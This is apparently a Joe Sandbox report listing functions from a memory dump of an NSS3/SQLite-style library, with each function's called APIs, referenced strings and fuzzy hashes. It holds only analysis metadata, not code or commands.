Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e406586a25654940869427c56afea3b0594d5d2033354016393e814a005ed25
Instruction ID: c0139e6910ad4fec5401f027303fd122ac01f73ff3b6163d4ca82b60b85595dc
Opcode Fuzzy Hash: 4e406586a25654940869427c56afea3b0594d5d2033354016393e814a005ed25
Instruction Fuzzy Hash: 2CF11172F112668FDB45CF29DA503B977F0AB8A308F25422DC825EB750E7709946CBD2

Function 6CEBDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CD95001,?,00000003,00000000), ref: 6CEBDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CD95001,?), ref: 6CEBE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CD95001,?), ref: 6CEBE2DA

Strings

W, xrefs: 6CEBE111

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 0ad8943ae949b539a4472c1f0d5c0c71ad2e3e0742ba7ab4990a6399188c76ff
Instruction ID: ba39f2dcdf87d9702acf8fa157be33276ee9adb38962e0a9e88474f44e2b25d6
Opcode Fuzzy Hash: 0ad8943ae949b539a4472c1f0d5c0c71ad2e3e0742ba7ab4990a6399188c76ff
Instruction Fuzzy Hash: FBC1E831A04A558BDB04CF6585907BA77B2AF8630CF3841F9DCA9BBB41D7319906CBD0

Function 6CE80E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CE81052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CE81086

Strings

h(l, xrefs: 6CE80E55, 6CE80EC4, 6CE80F3A, 6CE80FA7
h(l, xrefs: 6CE81062, 6CE8105D, 6CE80F37, 6CE81081, 6CE81082

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: 0405fd172f1098a25deb38df3ce3c6be9571be4ce6c96ca8ecb9efcd360273b6
Instruction ID: 70d0e0729fd7d3f1da486f87bcd1686405bb55b3ab1e58c2e797dec47006a42c
Opcode Fuzzy Hash: 0405fd172f1098a25deb38df3ce3c6be9571be4ce6c96ca8ecb9efcd360273b6
Instruction Fuzzy Hash: A9A14571F0225A9FDF08CF99C9909EEB7B5BF49314B248129E919A7700D735EC11CBA0

Function 6CDA6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CDA7049
*?[, xrefs: 6CDA7034, 6CDA7052, 6CDA7070
unordered*, xrefs: 6CDA702B
noskipscan*, xrefs: 6CDA7067

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: b4a5d735bee90b4ca1e90b0ea68186fdb6b269bafbeb9514d8de4255bd643529
Instruction ID: 14d43946fe9c67ce77a73cfc036bb58a1f7550892930fdab9b070312caf45d6d
Opcode Fuzzy Hash: b4a5d735bee90b4ca1e90b0ea68186fdb6b269bafbeb9514d8de4255bd643529
Instruction Fuzzy Hash: 07717C72F001119BEB108BEDC8803DE73E29F85314F260279C9A9ABBE9D6719C4787D1

Function 6CDC3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CDC460F
sqlite_master, xrefs: 6CDC463F
sqlite_, xrefs: 6CDC3FAA, 6CDC4185

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 451badc7770a845fd8ead79434402300bd6a5f37d489b02ac5132ec029ddf845
Instruction ID: 94efed8fa10e652daf7feb82f95c1c28ffb9f4fda1cfd46cd9604032f36f5359
Opcode Fuzzy Hash: 451badc7770a845fd8ead79434402300bd6a5f37d489b02ac5132ec029ddf845
Instruction Fuzzy Hash: A222CB20B991A5CFD7448B6580606F67BFAAF47318B2C859CC9E59FF62C325EC41C782

Function 6CEFBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CEFC0B6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 03c7b474099aa399af8118bd43812a5dc2cbb8ede54b6e64f83dc7ac5198c320
Instruction ID: bdfc7876260a54338d2ca613380a5f7fe6e462f2caedbfbd3fdc0831dc4bd593
Opcode Fuzzy Hash: 03c7b474099aa399af8118bd43812a5dc2cbb8ede54b6e64f83dc7ac5198c320
Instruction Fuzzy Hash: 4E925974B042098FDB15DF94C880BAEB7B2FF89308F384169D825ABB91D735E946CB51

Function 6CD93D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CD93EA9

Strings

0, xrefs: 6CD93DAB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: c52354f89798f7ce65215c5803a2630308314878dc901af1ca7528fd3e5fe8f4
Instruction ID: a32ff51fa3163f5b8087e458653f0a0ad1366d7f537da767ca189adeccd91e74
Opcode Fuzzy Hash: c52354f89798f7ce65215c5803a2630308314878dc901af1ca7528fd3e5fe8f4
Instruction Fuzzy Hash: 17517B79E481B9CADB1547BD88603FFFBB19B43314F1C4329C5A967AE0D234854587D1

Function 6CE3EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE3F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE3F0F9

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 78389be628b64cecbeb9497cb9e4b62f953a1caa9a16fc114356342376d6880f
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 6E91B075A0062A8BCB14CF68C8916AEB7F1FF85324F24472DD966A7BC0D738A905CF51

Function 6CE62F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CE87929), ref: 6CE62FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CE87929), ref: 6CE62FE0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: f5c9f10f7ad3a6ab6eb3fe69e595c611ddc817b27d2fb25370391f5d02ab2122
Instruction ID: 3137710df0b5f093b8f1c4a1f1d97c50b9a4e0f23a7b29f0a5695f478a73780b
Opcode Fuzzy Hash: f5c9f10f7ad3a6ab6eb3fe69e595c611ddc817b27d2fb25370391f5d02ab2122
Instruction Fuzzy Hash: 8B510671AA49118FD750CE57C880B6A73B1FF4531CF354129D989ABF02C736E94ACB81

Function 6CDAAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CDAAE18
winUnlockReadLock, xrefs: 6CDAAE9F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 825a066c963d2d593a5ff34eb1cf92167a80665fd6944b12298f30e345cfe19f
Instruction ID: d31fb1d2cd959555be64529cbbb8b98f053719de1b272881c3fe44d175aa709f
Opcode Fuzzy Hash: 825a066c963d2d593a5ff34eb1cf92167a80665fd6944b12298f30e345cfe19f
Instruction Fuzzy Hash: B2718E71A18200ABDB44CF29D884BABBBF5FF89314F14C619F99997211D730A986CBD1

Function 6CE6ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CE6EE3D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 54670e6f59565c1a6f03b9a53b723a550fb079cb0b9e25744bb9cb989756439a
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 9A71E272E61B018FD718CF5AC88176ABBF2AB98318F24462DD85697BD1D730E901CB91

Function 6CD95F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CD96013

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 580a44a7a760dc3b9015224148e5db98d3987d6f64c3a0425f9dcb0edb2aacd1
Instruction ID: 70acdc277a6c696bde147c27742bdeb8f6d13c6541446e308b28be1eddcb2f43
Opcode Fuzzy Hash: 580a44a7a760dc3b9015224148e5db98d3987d6f64c3a0425f9dcb0edb2aacd1
Instruction Fuzzy Hash: ABC10778B04605CBDB448F55C4907AEB7F2EF45328F288269D9AAD7B61D731E842C7D0

Function 6CDA4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDA5125

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 0166e5893bf22bad0c0ef18f6df3eeda4f480a17fcff43bcd5a80081e39136e4
Instruction ID: f9cd371761e02f334932b1c42ba36a65d2a465bf1475d87a918741a0bfb1c4d1
Opcode Fuzzy Hash: 0166e5893bf22bad0c0ef18f6df3eeda4f480a17fcff43bcd5a80081e39136e4
Instruction Fuzzy Hash: 22E14C71A28340CFDB45DF29D88876ABBF0FF89304F11961DE89997261E7309985CF92

Function 6CF25E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF25B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE0DF9B), ref: 6CF25B9E
Part of subcall function 6CF25B90: PR_Unlock.NSS3 ref: 6CF25BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF25E23,6CE0E154), ref: 6CF25EBF

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 808050198c186585c0f38ae6849f1deed357d057a24f384619003a10557c0657
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: A7519D72E0021A8FCB18CF99C8816AEF3B2FF88314B19856DD815B7745D734A941CBA0

Function 6CEDDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c62639e1cde1e6999149ff7788c1a82239f0954c5a2d7a65067bf3649a6f6d23
Instruction ID: f06c2b82ba3dcff2eafa165401c776e2046fda52b2d3aba820257cd9b4644fad
Opcode Fuzzy Hash: c62639e1cde1e6999149ff7788c1a82239f0954c5a2d7a65067bf3649a6f6d23
Instruction Fuzzy Hash: 20F15B75A01205DFDB08CF19C494BAAB7B2BF89318F2A4168D8199F751CB35ED43CBA1

Function 6CE71DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: bd9dccee9943e8b66e5c2c49bbb6769a3a921a167b7be72889529ad7eb632007
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 4FD14A329046568BDB218E58C8953DA7773AB96328F2D4328CD781B7C6C377D906C7E0

Function 6CE08EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38f5e3f705d73a1bee6e5223c1a5d41bc40af4c0d7265cfa09e16edc25efa83a
Instruction ID: 21a6b093c0c552a84ceccd4fc5a334b6117788137d9f4572f2abdc742bcc13f0
Opcode Fuzzy Hash: 38f5e3f705d73a1bee6e5223c1a5d41bc40af4c0d7265cfa09e16edc25efa83a
Instruction Fuzzy Hash: 7111EF32B002199BD728DF25D88475AB7B5BF4231CF24426AD8158FB52C775E8A2CBD1

Function 6CEE0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d660bda361772d74f6bbb88c0e30fefdc1e7385682013df477267ca3eb9a015
Instruction ID: cfca1afb5a376449fc40cfb3dc6efd6267ce4959d5c667b8f563c74fad421b69
Opcode Fuzzy Hash: 1d660bda361772d74f6bbb88c0e30fefdc1e7385682013df477267ca3eb9a015
Instruction Fuzzy Hash: 5E1191797043459FDB00DF29D88066A77B5FF893A8F24806DD8198B751DB71E806CBA1

Function 6CE53FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 4d3b8dd413a555b6f398288d15d3e48eac6102268b5b91acfa224e321375fe92
Instruction ID: e290599155fefd21d7320d24ee0562e9608187dc6968b4f316a1b24113f6f8f1
Opcode Fuzzy Hash: 4d3b8dd413a555b6f398288d15d3e48eac6102268b5b91acfa224e321375fe92
Instruction Fuzzy Hash: A5F09A70E046699BCB50DF28C4402DAB7F4EF09244F118219EC89AB300EB30AAC4C7C1

Function 6CEE0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
